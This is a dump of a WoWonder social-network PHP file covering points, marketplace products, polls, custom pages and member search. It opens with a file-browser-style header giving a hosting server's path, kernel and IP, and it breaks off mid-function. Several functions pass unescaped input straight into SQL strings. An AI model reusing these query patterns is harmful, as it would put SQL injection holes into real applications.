PK œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
Dir : /home/trave494/outtheboxministry.org/assets/includes/ |
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64 IP: 209.182.202.254 |
Dir : /home/trave494/outtheboxministry.org/assets/includes/functions_three.php |
<?php // +------------------------------------------------------------------------+ // | @author Deen Doughouz (DoughouzForest) // | @author_url 1: http://www.wowonder.com // | @author_url 2: http://codecanyon.net/user/doughouzforest // | @author_email: wowondersocial@gmail.com // +------------------------------------------------------------------------+ // | WoWonder - The Ultimate Social Networking Platform // | Copyright (c) 2022 WoWonder. All rights reserved. // +------------------------------------------------------------------------+ /* Script Main Functions (File 3) */ function Wo_RegisterPoint($post_id, $type, $action = '+', $user_id = 0) { global $wo, $sqlConnect, $db; if ($wo['config']['point_level_system'] == 0) { return false; } if (empty($post_id) or !is_numeric($post_id) or $post_id < 1) { return false; } if (empty($type)) { return false; } if (!empty($user_id) && is_numeric($user_id) && $user_id > 0) { $user_id = Wo_Secure($user_id); } else { $user_id = Wo_Secure($wo["user"]["id"]); if (empty($user_id) || !is_numeric($user_id) || $user_id < 1) { return fasle; } } if (empty($wo["user"]["point_day_expire"])) { $today_end = strtotime(date('M') . " " . date('d') . ", " . date('Y') . " 11:59pm"); $db->where('user_id', $user_id)->update(T_USERS, array( 'point_day_expire' => $today_end )); } if ($wo["user"]["point_day_expire"] <= time()) { $today_end = strtotime(date('M') . " " . date('d') . ", " . date('Y') . " 11:59pm"); $db->where('user_id', $user_id)->update(T_USERS, array( 'point_day_expire' => $today_end, 'daily_points' => 0 )); } $points = 0; $dollar_to_point_cost = $wo['config']['dollar_to_point_cost']; switch ($type) { case "comments": $query_comments = "SELECT `id` FROM `" . T_COMMENTS . "` WHERE `post_id` = " . $post_id . " AND `user_id` = " . $user_id; $sql_query_comments = mysqli_query($sqlConnect, $query_comments); if ($sql_query_comments->num_rows == 1) { $points = $wo['config']['comments_point']; } break; case "likes": if (!Wo_IsWondered($post_id, $user_id)) { $points = $wo['config']['likes_point']; } break; case "dislikes": if (!Wo_IsLiked($post_id, $user_id)) { $points = $wo['config']['dislikes_point']; } break; case "wonders": if (!Wo_IsLiked($post_id, $user_id)) { $points = $wo['config']['wonders_point']; } break; case "reaction": $points = $wo['config']['reaction_point']; break; case "createpost": $points = $wo['config']['createpost_point']; break; case "createblog": $points = $wo['config']['createblog_point']; break; case "blog_comment": $query_comments = "SELECT `id` FROM `" . T_BLOG_COMM . "` WHERE `id` = " . $post_id . " AND `user_id` = " . $user_id; $sql_query_comments = mysqli_query($sqlConnect, $query_comments); if ($sql_query_comments->num_rows == 1) { $points = $wo['config']['comments_point']; } break; default: $points = 0; break; } if ($points == 0) { return false; } $wallet = $points / $dollar_to_point_cost; $user_data = Wo_UserData($user_id); $points_amount = 0; $wallet_amount = 0; $balance_amount = 0; $daily_points = 0; if ($action == '+') { $points_amount = ($user_data['points'] + $points); $daily_points = ($user_data['daily_points'] + $points); $wallet_amount = max(($user_data['wallet'] + $wallet), 0); $balance_amount = max(($user_data['balance'] + $wallet), 0); if ($wo["user"]["is_pro"] && $daily_points > $wo['config']['pro_day_limit']) { return false; } elseif ($wo["user"]["is_pro"] == 0 && $daily_points > $wo['config']['free_day_limit']) { return false; } } else if ($action == '-') { $points_amount = ($user_data['points'] - $points); $daily_points = ($user_data['daily_points'] - $points); $wallet_amount = max(($user_data['wallet'] - $wallet), 0); $balance_amount = max(($user_data['balance'] - $wallet), 0); } $query_one = ""; if ($wo['config']['point_allow_withdrawal'] == 1) { $query_one = "UPDATE " . T_USERS . " SET `points` = '{$points_amount}',`daily_points` = '{$daily_points}', `balance` = '{$balance_amount}' WHERE `user_id` = {$user_id} "; } else { $query_one = "UPDATE " . T_USERS . " SET `points` = '{$points_amount}',`daily_points` = '{$daily_points}', `wallet` = '{$wallet_amount}' WHERE `user_id` = {$user_id} "; } $query = mysqli_query($sqlConnect, $query_one); if ($query) { return true; } } function logData($data) { file_put_contents('upload/log.txt', $data . PHP_EOL, FILE_APPEND); } function Wo_RegisterProductMedia($id, $media) { global $wo, $sqlConnect; if (empty($id) or !is_numeric($id) or $id < 1) { return false; } if (empty($media)) { return false; } $query_one = mysqli_query($sqlConnect, "INSERT INTO " . T_PRODUCTS_MEDIA . " (`product_id`,`image`) VALUES ({$id}, '{$media}')"); if ($query_one) { return true; } } function Wo_IsUrl($uri) { if (empty($uri)) { return false; } if (filter_var($uri, FILTER_VALIDATE_URL)) { return true; } return false; } function Wo_RegisterProduct($registration_data) { global $wo, $sqlConnect; if (empty($registration_data)) { return false; } if (!empty($registration_data['description'])) { $link_regex = '/(http\:\/\/|https\:\/\/|www\.)([^\ ]+)/i'; $i = 0; preg_match_all($link_regex, $registration_data['description'], $matches); foreach ($matches[0] as $match) { $match_url = strip_tags($match); $syntax = '[a]' . urlencode($match_url) . '[/a]'; $registration_data['description'] = str_replace($match, $syntax, $registration_data['description']); } } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $query = mysqli_query($sqlConnect, "INSERT INTO " . T_PRODUCTS . " ({$fields}) VALUES ({$data})"); if ($query) { return mysqli_insert_id($sqlConnect); } return false; } function Wo_GetProduct($id = 0) { global $wo, $sqlConnect, $db; $data = array(); if (empty($id) or !is_numeric($id) or $id < 1) { return false; } $query_one = " SELECT * FROM " . T_PRODUCTS . " WHERE `id` = '{$id}' ORDER BY `id` DESC"; $sql = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql)) { $fetched_data = mysqli_fetch_assoc($sql); if (empty($fetched_data)) { return array(); } } else { return array(); } $fetched_data['images'] = Wo_GetProductImages($fetched_data['id']); $fetched_data['time_text'] = Wo_Time_Elapsed_String($fetched_data['time']); $fetched_data['post_id'] = Wo_GetPostIDFromProdcutID($fetched_data['id']); $fetched_data['edit_description'] = Wo_EditMarkup(br2nl($fetched_data['description'], true, false, false)); $fetched_data['description'] = Wo_Markup($fetched_data['description'], true, false, false); if ($wo['config']['useSeoFrindly'] == 1) { $fetched_data['url'] = Wo_SeoLink('index.php?link1=post&id=' . $fetched_data['post_id']) . '_' . Wo_SlugPost($fetched_data['name']); $fetched_data['reviews_url'] = Wo_SeoLink('index.php?link1=reviews&id=' . $fetched_data['id']) . '_' . Wo_SlugPost($fetched_data['name']); $fetched_data['seo_id'] = $fetched_data['post_id'] . '_' . Wo_SlugPost($fetched_data['name']); $fetched_data['reviews_seo_id'] = $fetched_data['id'] . '_' . Wo_SlugPost($fetched_data['name']); } else { $fetched_data['url'] = Wo_SeoLink('index.php?link1=post&id=' . $fetched_data['post_id']); $fetched_data['reviews_url'] = Wo_SeoLink('index.php?link1=reviews&id=' . $fetched_data['id']); $fetched_data['seo_id'] = $fetched_data['post_id']; $fetched_data['reviews_seo_id'] = $fetched_data['id']; } //$fetched_data['url'] = Wo_SeoLink('index.php?link1=post&id=' . $fetched_data['post_id']); $fetched_data['product_sub_category'] = ''; if (!empty($fetched_data['sub_category']) && !empty($wo['products_sub_categories'][$fetched_data['category']])) { foreach ($wo['products_sub_categories'][$fetched_data['category']] as $key => $value) { if ($value['id'] == $fetched_data['sub_category']) { $fetched_data['product_sub_category'] = $value['lang']; } } } $fetched_data['fields'] = array(); $fields = Wo_GetCustomFields('product'); if (!empty($fields)) { foreach ($fields as $key => $field) { if (in_array($field['fid'], array_keys($fetched_data))) { $fetched_data['fields'][$field['fid']] = $fetched_data[$field['fid']]; } } } $fetched_data['added_to_cart'] = 0; if ($wo['loggedin']) { $fetched_data['added_to_cart'] = $db->where('product_id', $fetched_data['id'])->where('user_id', $wo['user']['user_id'])->getValue(T_USERCARD, 'COUNT(*)'); } $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $fetched_data['rating'] = $db->where('product_id', $fetched_data['id'])->getValue(T_PRODUCT_REVIEW, "FLOOR(sum(star)/count(id))"); $fetched_data['reviews_count'] = $db->where('product_id', $fetched_data['id'])->getValue(T_PRODUCT_REVIEW, "count(id)"); $fetched_data['price_format'] = number_format($fetched_data['price'], 2,",","."); return $fetched_data; } function Wo_DeleteProductImage($id) { global $wo, $sqlConnect; if (empty($id) || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $query = "DELETE FROM " . T_PRODUCTS_MEDIA . " WHERE `id` = {$id}"; $sql = mysqli_query($sqlConnect, $query); if ($sql) { return true; } return false; } function Wo_GetProductImages($id = 0) { global $wo, $sqlConnect; $data = array(); $id = Wo_Secure($id); $query_one = "SELECT `id`,`image`,`product_id` FROM " . T_PRODUCTS_MEDIA . " WHERE `product_id` = {$id} ORDER BY `id` DESC"; $sql = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql)) { while ($fetched_data = mysqli_fetch_assoc($sql)) { $explode2 = @end(explode('.', $fetched_data['image'])); $explode3 = @explode('.', $fetched_data['image']); $fetched_data['image_org'] = $explode3[0] . '_small.' . $explode2; $fetched_data['image_org'] = Wo_GetMedia($fetched_data['image_org']); $fetched_data['image'] = Wo_GetMedia($fetched_data['image']); $data[] = $fetched_data; } } return $data; } function Wo_ProductImageData($data = array()) { global $wo, $sqlConnect; if (!empty($data['id'])) { if (is_numeric($data['id'])) { $id = Wo_Secure($data['id']); } } $order_by = ''; if (!empty($data['after_image_id']) && is_numeric($data['after_image_id'])) { $data['after_image_id'] = Wo_Secure($data['after_image_id']); $subquery = " `id` <> " . $data['after_image_id'] . " AND `id` < " . $data['after_image_id']; $order_by = 'DESC'; } else if (!empty($data['before_image_id']) && is_numeric($data['before_image_id'])) { $data['before_image_id'] = Wo_Secure($data['before_image_id']); $subquery = " `id` <> " . $data['before_image_id'] . " AND `id` > " . $data['before_image_id']; $order_by = 'ASC'; } else { $subquery = " `id` = '{$id}'"; } if (!empty($data['post_id']) && is_numeric($data['post_id'])) { $data['post_id'] = Wo_Secure($data['post_id']); $subquery .= " AND `post_id` = " . $data['post_id']; } if (!empty($data['product_id']) && is_numeric($data['product_id'])) { $data['product_id'] = Wo_Secure($data['product_id']); $subquery .= " AND `product_id` = " . $data['product_id']; } $query_one = "SELECT * FROM " . T_PRODUCTS_MEDIA . " WHERE $subquery ORDER by `id` {$order_by}"; $sql = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql)) { $fetched_data = mysqli_fetch_assoc($sql); if (!empty($fetched_data)) { $fetched_data['image_org'] = Wo_GetMedia($fetched_data['image']); } return $fetched_data; } return false; } function Wo_GetWelcomeFileds() { global $wo, $sqlConnect; $data = array(); $query_one = " SELECT * FROM " . T_FIELDS . " WHERE `registration_page` = '1' ORDER BY `id` ASC"; $sql = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql)) { while ($fetched_data = mysqli_fetch_assoc($sql)) { $fetched_data['fid'] = 'fid_' . $fetched_data['id']; $fetched_data['name'] = preg_replace_callback("/{{LANG (.*?)}}/", function($m) use ($wo) { return (isset($wo['lang'][$m[1]])) ? $wo['lang'][$m[1]] : ''; }, $fetched_data['name']); $fetched_data['description'] = preg_replace_callback("/{{LANG (.*?)}}/", function($m) use ($wo) { return (isset($wo['lang'][$m[1]])) ? $wo['lang'][$m[1]] : ''; }, $fetched_data['description']); $fetched_data['type'] = preg_replace_callback("/{{LANG (.*?)}}/", function($m) use ($wo) { return (isset($wo['lang'][$m[1]])) ? $wo['lang'][$m[1]] : ''; }, $fetched_data['type']); $data[] = $fetched_data; } } return $data; } function Wo_MarkPostAsSold($post_id = 0, $product_id = 0) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $user_id = Wo_Secure($wo['user']['user_id']); $post_id = Wo_Secure($post_id); if (empty($user_id) || !is_numeric($user_id) || $user_id < 1) { return false; } if (empty($product_id) || !is_numeric($product_id) || $product_id < 1) { return false; } if (empty($post_id) || !is_numeric($post_id) || $post_id < 1) { return false; } if (Wo_PostExists($post_id) === false) { return false; } if (Wo_IsPostOnwer($post_id, $user_id) === false) { return false; } if (Wo_IsProductSold($product_id)) { return false; } $query_text = "UPDATE " . T_PRODUCTS . " SET `status` = '1' WHERE `id` = '{$product_id}'"; $query_two = mysqli_query($sqlConnect, $query_text); if ($query_two) { return true; } } function Wo_IsProductSold($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (empty($id) || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $query_one = mysqli_query($sqlConnect, "SELECT COUNT(`id`) as `count` FROM " . T_PRODUCTS . " WHERE `id` = {$id} AND `status` = '1'"); if (mysqli_num_rows($query_one)) { $sql_query_one = mysqli_fetch_assoc($query_one); return ($sql_query_one['count'] == 1) ? true : false; } return false; } function Wo_GetPostIDFromProdcutID($id) { global $sqlConnect; if (empty($id) or !is_numeric($id) or $id < 1) { return false; } $id = Wo_Secure($id); $query_one = "SELECT `id` FROM " . T_POSTS . " WHERE `product_id` = '{$id}'"; $sql_query_one = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql_query_one)) { $sql_fetch_one = mysqli_fetch_assoc($sql_query_one); return $sql_fetch_one['id']; } return false; } function Wo_UpdateProductData($product_id, $update_data) { global $wo, $sqlConnect; if ($wo['loggedin'] == false) { return false; } if (empty($product_id) || !is_numeric($product_id) || $product_id < 0) { return false; } if (empty($update_data)) { return false; } $product_id = Wo_Secure($product_id); $post_id = Wo_GetPostIDFromProdcutID($product_id); if (empty($post_id)) { return false; } if (Wo_IsPostOnwer($post_id, $wo['user']['user_id']) === false) { return false; } $update = array(); if (!empty($update_data['description'])) { $link_regex = '/(http\:\/\/|https\:\/\/|www\.)([^\ ]+)/i'; $i = 0; preg_match_all($link_regex, $update_data['description'], $matches); foreach ($matches[0] as $match) { $match_url = strip_tags($match); $syntax = '[a]' . urlencode($match_url) . '[/a]'; $update_data['description'] = str_replace($match, $syntax, $update_data['description']); } } foreach ($update_data as $field => $data) { $update[] = '`' . $field . '` = \'' . Wo_Secure($data, 1,true,1) . '\''; } $impload = implode(', ', $update); $query_one = " UPDATE " . T_PRODUCTS . " SET {$impload} WHERE `id` = {$product_id}"; $query = mysqli_query($sqlConnect, $query_one); if ($query) { return true; } return false; } function LinkedinSearch($filter_data = array()) { global $wo, $sqlConnect; $data = array(); $limit = 5; $user_offset_str = ""; $other_offset_str = ""; if (empty($filter_data['keyword'])) { return $data; } if (!empty($filter_data['keyword'])) { $keyword = Wo_Secure($filter_data['keyword']); } if (!empty($filter_data['limit']) && is_numeric($filter_data['limit']) && $filter_data['limit'] > 0) { $limit = Wo_Secure($filter_data['limit']); } if (!empty($filter_data['offset']) && is_numeric($filter_data['offset']) && $filter_data['offset'] > 0) { $offset = Wo_Secure($filter_data['offset']); $user_offset_str = " AND `joined` < '{$offset}' "; $other_offset_str = " AND `time` < '{$offset}' "; } if (!empty($filter_data['certifications'])) { $certifications = Wo_Secure($filter_data['certifications']); $user_offset_str .= " AND `user_id` IN (SELECT `user_id` FROM " . T_USER_CERTIFICATION . " WHERE `name` LIKE '%{$certifications}%' OR `issuing_organization` LIKE '%{$certifications}%') "; } if (!empty($filter_data['experience']) && is_numeric($filter_data['experience']) && $filter_data['experience'] > 0) { $experience = Wo_Secure($filter_data['experience']); $user_offset_str .= " AND `user_id` IN (SELECT `user_id` FROM " . T_USER_EXPERIENCE . " WHERE {$experience} <= TIMESTAMPDIFF(YEAR, experience_start, experience_end)) "; } if ($wo['loggedin']) { $user_id = $wo['user']['user_id']; $user_offset_str .= " AND `user_id` != '{$user_id}' "; } if (!empty($filter_data['job_type'])) { $job_type_query = ""; foreach ($filter_data['job_type'] as $key => $value) { if (in_array($value, array( 'full_time', 'contract', 'part_time', 'internship', 'temporary' ))) { if (empty($job_type_query)) { $job_type_query = "`job_type` LIKE '%" . Wo_Secure($value) . "%' "; } else { $job_type_query .= " OR `job_type` LIKE '%" . Wo_Secure($value) . "%' "; } } } $user_offset_str .= " AND `user_id` IN (SELECT `user_id` FROM " . T_USER_OPEN_TO . " WHERE (" . $job_type_query . ") AND `type` = 'find_job') "; } if (!empty($filter_data['workplaces'])) { $job_type_query = ""; foreach ($filter_data['workplaces'] as $key => $value) { if (in_array($value, array( 'on_site', 'hybrid', 'remote' ))) { if (empty($job_type_query)) { $job_type_query = "`workplaces` LIKE '%" . Wo_Secure($value) . "%' "; } else { $job_type_query .= " OR `workplaces` LIKE '%" . Wo_Secure($value) . "%' "; } } } $user_offset_str .= " AND `user_id` IN (SELECT `user_id` FROM " . T_USER_OPEN_TO . " WHERE (" . $job_type_query . ") AND `type` = 'find_job') "; } if ($filter_data['search_type'] == 'all' || $filter_data['search_type'] == 'users') { if ($filter_data['search_type'] == 'users' && empty($filter_data['certifications'])) { $user_offset_str .= " AND `user_id` NOT IN (SELECT `user_id` FROM " . T_USER_OPEN_TO . " WHERE `type` = 'service') "; } $users_query = " SELECT `user_id` FROM " . T_USERS . " WHERE (`username` LIKE '%{$keyword}%' OR `first_name` LIKE '%{$keyword}%' OR `last_name` LIKE '%{$keyword}%' OR `email` LIKE '%{$keyword}%') {$user_offset_str} ORDER BY `joined` DESC LIMIT {$limit}"; $sql = mysqli_query($sqlConnect, $users_query); if (mysqli_num_rows($sql)) { while ($fetched_data = mysqli_fetch_assoc($sql)) { $user = Wo_UserData($fetched_data['user_id']); $user['sort_time'] = $user['joined']; $user['sort_type'] = 'user'; $data[] = $user; } } } if ($filter_data['search_type'] == 'all' || $filter_data['search_type'] == 'service') { $users_query = " SELECT `user_id` FROM " . T_USERS . " WHERE `user_id` IN (SELECT `user_id` FROM " . T_USER_OPEN_TO . " WHERE `type` = 'service' AND `services` LIKE '%{$keyword}%') {$user_offset_str} ORDER BY `joined` DESC LIMIT {$limit}"; $sql = mysqli_query($sqlConnect, $users_query); if (mysqli_num_rows($sql)) { $added_users = array(); if ($filter_data['search_type'] == 'all' && !empty($data)) { foreach ($data as $key => $value) { $added_users[] = $value['user_id']; } } while ($fetched_data = mysqli_fetch_assoc($sql)) { if ($filter_data['search_type'] == 'all' && !empty($data)) { if (!in_array($fetched_data['user_id'], $added_users)) { $user = Wo_UserData($fetched_data['user_id']); $user['sort_time'] = $user['joined']; $user['sort_type'] = 'service'; $data[] = $user; } } else { $user = Wo_UserData($fetched_data['user_id']); $user['sort_time'] = $user['joined']; $user['sort_type'] = 'service'; $data[] = $user; } } } } if ($filter_data['search_type'] == 'all' || $filter_data['search_type'] == 'groups') { $groups_query = " SELECT `id` FROM " . T_GROUPS . " WHERE (`group_name` LIKE '%{$keyword}%' OR `group_title` LIKE '%{$keyword}%') {$other_offset_str} ORDER BY `time` DESC LIMIT {$limit}"; $sql = mysqli_query($sqlConnect, $groups_query); if (mysqli_num_rows($sql)) { while ($fetched_data = mysqli_fetch_assoc($sql)) { $group = Wo_GroupData($fetched_data['id']); $group['sort_time'] = $group['time']; $group['sort_type'] = 'group'; $data[] = $group; } } } if ($filter_data['search_type'] == 'all' || $filter_data['search_type'] == 'pages') { $pages_query = " SELECT `page_id` FROM " . T_PAGES . " WHERE (`page_name` LIKE '%{$keyword}%' OR `page_title` LIKE '%{$keyword}%') {$other_offset_str} ORDER BY `time` DESC LIMIT {$limit}"; $sql = mysqli_query($sqlConnect, $pages_query); if (mysqli_num_rows($sql)) { while ($fetched_data = mysqli_fetch_assoc($sql)) { $page = Wo_PageData($fetched_data['page_id']); $page['sort_time'] = $page['time']; $page['sort_type'] = 'page'; $data[] = $page; } } } return $data; } function Wo_GetProducts($filter_data = array()) { global $wo, $sqlConnect; $data = array(); $query_one = " SELECT `id`, `user_id` FROM " . T_PRODUCTS . " WHERE status <> '1'"; if (!empty($filter_data['c_id'])) { $category = $filter_data['c_id']; $query_one .= " AND `category` = '{$category}'"; } if (!empty($filter_data['sub_id'])) { $sub_category = $filter_data['sub_id']; $query_one .= " AND `sub_category` = '{$sub_category}'"; } if (!empty($filter_data['after_id'])) { if (is_numeric($filter_data['after_id'])) { $after_id = Wo_Secure($filter_data['after_id']); $query_one .= " AND `id` < '{$after_id}' AND `id` <> $after_id"; } } if (!empty($filter_data['keyword'])) { $keyword = Wo_Secure($filter_data['keyword']); $query_one .= " AND `name` LIKE '%{$keyword}%'"; } if (!empty($filter_data['user_id'])) { $user_id = Wo_Secure($filter_data['user_id']); $query_one .= " AND `user_id` = '{$user_id}'"; } if (!empty($filter_data['order_by']) && $filter_data['order_by'] == 'price_low' && !empty($filter_data['price'])) { $price = Wo_Secure($filter_data['price']); $query_one .= " AND `price` >= '{$price}'"; } else if (!empty($filter_data['order_by']) && $filter_data['order_by'] == 'price_high' && !empty($filter_data['price'])) { $price = Wo_Secure($filter_data['price']); $query_one .= " AND `price` <= '{$price}'"; } if (!empty($filter_data['length'])) { $user_lat = $wo['user']['lat']; $user_lng = $wo['user']['lng']; $unit = 6371; $query_one = " AND status <> '1'"; $distance = Wo_Secure($filter_data['length']); if (!empty($filter_data['c_id'])) { $category = $filter_data['c_id']; $query_one .= " AND `category` = '{$category}'"; } if (!empty($filter_data['after_id'])) { if (is_numeric($filter_data['after_id'])) { $after_id = Wo_Secure($filter_data['after_id']); $query_one .= " AND `id` < '{$after_id}' AND `id` <> $after_id"; } } if (!empty($filter_data['keyword'])) { $keyword = Wo_Secure($filter_data['keyword']); $query_one .= " AND `name` LIKE '%{$keyword}%'"; } if (!empty($filter_data['user_id'])) { $user_id = Wo_Secure($filter_data['user_id']); $query_one .= " AND `user_id` = '{$user_id}'"; } $query_one = "SELECT `id`, `user_id`, ( {$unit} * acos(cos(radians('$user_lat')) * cos(radians(lat)) * cos(radians(lng) - radians('$user_lng')) + sin(radians('$user_lat')) * sin(radians(lat ))) ) AS distance FROM " . T_PRODUCTS . " WHERE `lat` <> 0 AND `lng` <> 0 $query_one HAVING distance < '$distance'"; } $query_one .= " AND `active` = '1' "; if (!empty($filter_data['order_by']) && $filter_data['order_by'] == 'price_low') { $query_one .= " ORDER BY `price` ASC"; } else if (!empty($filter_data['order_by']) && $filter_data['order_by'] == 'price_high') { $query_one .= " ORDER BY `price` DESC"; } else { $query_one .= " ORDER BY `id` DESC"; } if (!empty($filter_data['limit'])) { if (is_numeric($filter_data['limit'])) { $limit = Wo_Secure($filter_data['limit']); $query_one .= " LIMIT {$limit}"; } } $sql = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql)) { while ($fetched_data = mysqli_fetch_assoc($sql)) { $products = Wo_GetProduct($fetched_data['id']); $products['seller'] = Wo_UserData($fetched_data['user_id']); $data[] = $products; } } return $data; } function Wo_AddOption($post_id, $text) { global $wo, $sqlConnect; if ($wo['loggedin'] == false) { return false; } if (empty($post_id) || !is_numeric($post_id) || $post_id < 0) { return false; } if (empty($text)) { return false; } $post_id = Wo_Secure($post_id); $text = Wo_Secure($text); $time = time(); $query_one = "INSERT INTO " . T_POLLS . " (`post_id`, `text`, `time`) VALUES ('{$post_id}', '{$text}', '{$time}')"; $query = mysqli_query($sqlConnect, $query_one); if ($query) { return true; } return false; } function Wo_GetPostOptions($post_id = 0) { global $sqlConnect; if (empty($post_id) or !is_numeric($post_id) or $post_id < 1) { return false; } $data = array(); $post_id = Wo_Secure($post_id); $query_one = "SELECT * FROM " . T_POLLS . " WHERE `post_id` = '{$post_id}'"; $sql_query_one = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql_query_one)) { while ($fetched_data = mysqli_fetch_assoc($sql_query_one)) { $data[] = $fetched_data; } } return $data; } function Wo_GetPostIDFromOptionID($id) { global $sqlConnect; if (empty($id) or !is_numeric($id) or $id < 1) { return false; } $id = Wo_Secure($id); $query_one = "SELECT `post_id` FROM " . T_POLLS . " WHERE `id` = '{$id}'"; $sql_query_one = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql_query_one)) { $sql_fetch_one = mysqli_fetch_assoc($sql_query_one); return $sql_fetch_one['post_id']; } return false; } function Wo_VoteUp($option_id = 0, $user_id = 0) { global $sqlConnect; if (empty($user_id) or !is_numeric($user_id) or $user_id < 1) { return false; } if (empty($option_id) or !is_numeric($option_id) or $option_id < 1) { return false; } $user_id = Wo_Secure($user_id); $option_id = Wo_Secure($option_id); $post_id = Wo_GetPostIDFromOptionID($option_id); if (empty($post_id)) { return false; } if (Wo_IsPostVoted($post_id, $user_id)) { return false; } if (Wo_IsOptionVoted($option_id, $user_id)) { return false; } $fields = '(`option_id`, `user_id`, `post_id`)'; $query_one = "INSERT INTO " . T_VOTES . " {$fields} VALUES ('{$option_id}', '{$user_id}', '{$post_id}')"; $sql = mysqli_query($sqlConnect, $query_one); if ($sql) { return true; } } function Wo_IsOptionVoted($option_id, $user_id) { global $wo, $sqlConnect; if (empty($user_id) || empty($option_id)) { return false; } if (!is_numeric($option_id)) { return false; } $user_id = Wo_Secure($user_id); $option_id = Wo_Secure($option_id); $query_one = "SELECT COUNT(id) as count FROM " . T_VOTES . " WHERE `option_id` = '{$option_id}' AND `user_id` = '{$user_id}'"; $sql = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql)) { $sql_fetch = mysqli_fetch_assoc($sql); if ($sql_fetch['count'] > 0) { return true; } } return false; } function Wo_IsPostVoted($post_id, $user_id) { global $wo, $sqlConnect; if (empty($user_id) || empty($post_id)) { return false; } if (!is_numeric($post_id)) { return false; } $user_id = Wo_Secure($user_id); $post_id = Wo_Secure($post_id); $query_one = "SELECT COUNT(id) as count FROM " . T_VOTES . " WHERE `post_id` = '{$post_id}' AND `user_id` = '{$user_id}'"; $sql = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql)) { $sql_fetch = mysqli_fetch_assoc($sql); if ($sql_fetch['count'] > 0) { return true; } } return false; } function Ju_GetPercentageOfOptionPost($post_id) { global $wo, $sqlConnect; if (empty($post_id)) { return false; } if (!is_numeric($post_id)) { return false; } $data = array(); $post_id = Wo_Secure($post_id); $query_one = "SELECT * FROM " . T_POLLS . " WHERE `post_id` = '{$post_id}'"; $sql_query_one = mysqli_query($sqlConnect, $query_one); $all = 0; if (mysqli_num_rows($sql_query_one)) { while ($fetched_data = mysqli_fetch_assoc($sql_query_one)) { $fetched_data['option_votes'] = Wo_GetVotes($fetched_data['id']); $data[] = $fetched_data; } } foreach ($data as $key => $value) { $all += $value['option_votes']; } $percentage_total = $all; foreach ($data as $key => $value) { $percentage = 0; $data[$key]['percentage'] = '0%'; $data[$key]['percentage_num'] = 0; $data[$key]['all'] = $all; if ($percentage_total > 0) { $data[$key]['percentage'] = number_format(($value['option_votes'] / $percentage_total) * 100) . '%'; $data[$key]['percentage_num'] = number_format(($value['option_votes'] / $percentage_total) * 100); $data[$key]['all'] = $all; } } return $data; } function Wo_GetVotes($option_id) { global $wo, $sqlConnect; if (empty($option_id) || !is_numeric($option_id)) { return false; } $data = array(); $option_id = Wo_Secure($option_id); $query_one = "SELECT COUNT(id) as count FROM " . T_VOTES . " WHERE `option_id` = {$option_id}"; $sql = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql)) { $fetched_data = mysqli_fetch_assoc($sql); if (empty($fetched_data)) { return array(); } return $fetched_data['count']; } return false; } function Wo_GetCustomPages() { global $sqlConnect; $data = array(); $query_one = "SELECT * FROM " . T_CUSTOM_PAGES . " ORDER BY `id` DESC"; $sql_query_one = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql_query_one)) { while ($fetched_data = mysqli_fetch_assoc($sql_query_one)) { $data[] = Wo_GetCustomPage($fetched_data['page_name']); } } return $data; } function Wo_GetCustomPage($page_name) { global $sqlConnect; if (empty($page_name)) { return false; } $data = array(); $page_name = Wo_Secure($page_name); $query_one = "SELECT * FROM " . T_CUSTOM_PAGES . " WHERE `page_name` = '{$page_name}'"; $sql_query_one = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql_query_one)) { $fetched_data = mysqli_fetch_assoc($sql_query_one); return $fetched_data; } return false; } function Wo_RegisterNewPage($registration_data) { global $wo, $sqlConnect; if (empty($registration_data)) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $query = mysqli_query($sqlConnect, "INSERT INTO " . T_CUSTOM_PAGES . " ({$fields}) VALUES ({$data})"); if ($query) { return true; } return false; } function Wo_DeleteCustomPage($id) { global $wo, $sqlConnect; if ($wo['loggedin'] == false) { return false; } if (Wo_IsAdmin() === false) { return false; } $id = Wo_Secure($id); $query = mysqli_query($sqlConnect, "DELETE FROM " . T_CUSTOM_PAGES . " WHERE `id` = {$id}"); if ($query) { return true; } return false; } function Wo_UpdateCustomPageData($id, $update_data) { global $wo, $sqlConnect, $cache; if ($wo['loggedin'] == false) { return false; } if (empty($id) || !is_numeric($id) || $id < 0) { return false; } if (empty($update_data)) { return false; } $id = Wo_Secure($id); if (Wo_IsAdmin() === false) { return false; } $update = array(); foreach ($update_data as $field => $data) { $update[] = '`' . $field . '` = \'' . Wo_Secure($data, 0) . '\''; } $impload = implode(', ', $update); $query_one = "UPDATE " . T_CUSTOM_PAGES . " SET {$impload} WHERE `id` = {$id} "; $query = mysqli_query($sqlConnect, $query_one); if ($query) { return true; } return false; } function Wo_GetReferrers($user_id = 0) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (empty($user_id)) { $user_id = Wo_Secure($wo['user']['user_id']); } else { $user_id = Wo_Secure($user_id); } $data = array(); $query_one = "SELECT * FROM " . T_USERS . " WHERE `referrer` = '{$user_id}' ORDER BY `user_id` DESC"; $sql_query_one = mysqli_query($sqlConnect, $query_one); if 